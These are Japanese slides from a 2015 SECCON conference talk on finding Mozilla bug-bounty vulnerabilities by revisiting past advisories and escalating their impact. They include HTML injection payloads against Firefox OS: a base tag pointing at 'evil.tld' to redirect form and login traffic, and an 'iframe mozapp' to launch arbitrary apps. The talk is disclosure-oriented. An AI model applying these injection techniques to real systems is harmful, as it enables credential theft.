Page 1
Mozillaの報奨金制度で
100万円ほど稼いだ話
SECCON CTF 2014全国大会カンファレンス
2015年2月7日@東京電機大学
Welcome to the Black Hole of Bug Bounty Program –RESOLVED FIXED-
Page 2
にしむねあ
Weekend Bug Hunter
Lecturer of Security Camp 2014
Page 3
この3か月間で11,500ドル
2014.11 $3000 Bug 1069762
2014.12 $6000 Bug 1101158 Bug 1102204
2015.01 $2500 Bug 1065909 Bug 1106713
Page 4
実は9か月間でも11,500ドル
5月 6月 7月 8月 9月 10月 11月 12月 1月 5 6 7 8 9 10 11 12 1
$3000
$6000
$2500
$0 $0 $0 $0 $0 $0
Page 5
実は9か月間でも11,500ドル
5月 6月 7月 8月 9月 10月 11月 12月 1月 5 6 7 8 9 10 11 12 1
苦悩の6か月
Page 6
苦悩の6か月で見つけた
バグ探しのメソッドを紹介します
(今後の稼ぎに支障のない範囲で)
Page 8
https://www.mozilla.org/en-US/security/advisories/
Page 9
• 過去の脆弱性情報から、発生した箇所と 攻撃方法を洗い出す
• 同じ攻撃を他の箇所で試してみる
• 歴史は繰り返す
Page 10
https://www.mozilla.org/en-US/security/advisories/mfsa2012-53/
Page 11
2012年7月 : CVE-2012-1963
CSPの違反レポートを利用して
OAuth 2.0のアクセストークンなどを盗むことができた
Page 12
https://www.mozilla.org/en-US/security/advisories/mfsa2014-86/
Page 14
CSPのコードをC++で書き直した際に
同じ脆弱性が再発
Page 16
その2
見つけた脆弱性を
最大限に悪用する
Page 17
• 発見報告して終わりじゃもったいない
• 最悪のシナリオを示すことで、 脆弱性の価値は高めることができる
Page 18
深刻度がHigh以上でないと報奨金は出ない
Critical $3000
High $3000
Moderate 無し (たまに減額支給)
Low 無し
https://www.mozilla.org/en-US/security/bug-bounty/
Page 19
公表されていないが Firefox OSも報奨金の対象
Page 20
http://www.slideshare.net/dynamis/future-with-firefox-os
Page 24
• Firefox OSでは、権限の高いアプリには CSPが適用される
• 任意のHTMLやCSSは注入できても スクリプトは注入できない
Page 25
スクリプトを一切使わずに
HTMLだけで悪さをする方法を考えた
Page 26
攻撃① baseタグを注入
<base href=http://evil.tld>
Page 27
• ベースURLを操作することにより 相対パス指定URLの通信先を変更する
• フォームの入力内容を攻撃者のサーバに 送信させるといった攻撃が可能
Page 28
端末から来るHTTPリクエストを監視
Page 29
Firefoxアカウントの認証画面を取りに来た
Page 30
偽の認証ページを配信すれば
Firefoxアカウントの認証情報を盗める
Page 31
攻撃② 特殊な<iframe>を注入
<iframe mozapp src=…>
Page 32
• Firefox OSのアプリは特殊な iframeの上で起動する
• iframeを注入することにより 任意のアプリを実行させることができる
Page 33
先程の画面でFM Radioアプリが起動
Page 34
HTMLインジェクション1件で
30万円貰えるボーナスゲームに
Page 37
① 過去に学ぶ
② 見つけた脆弱性を最大限に悪用する
本日紹介したメソッド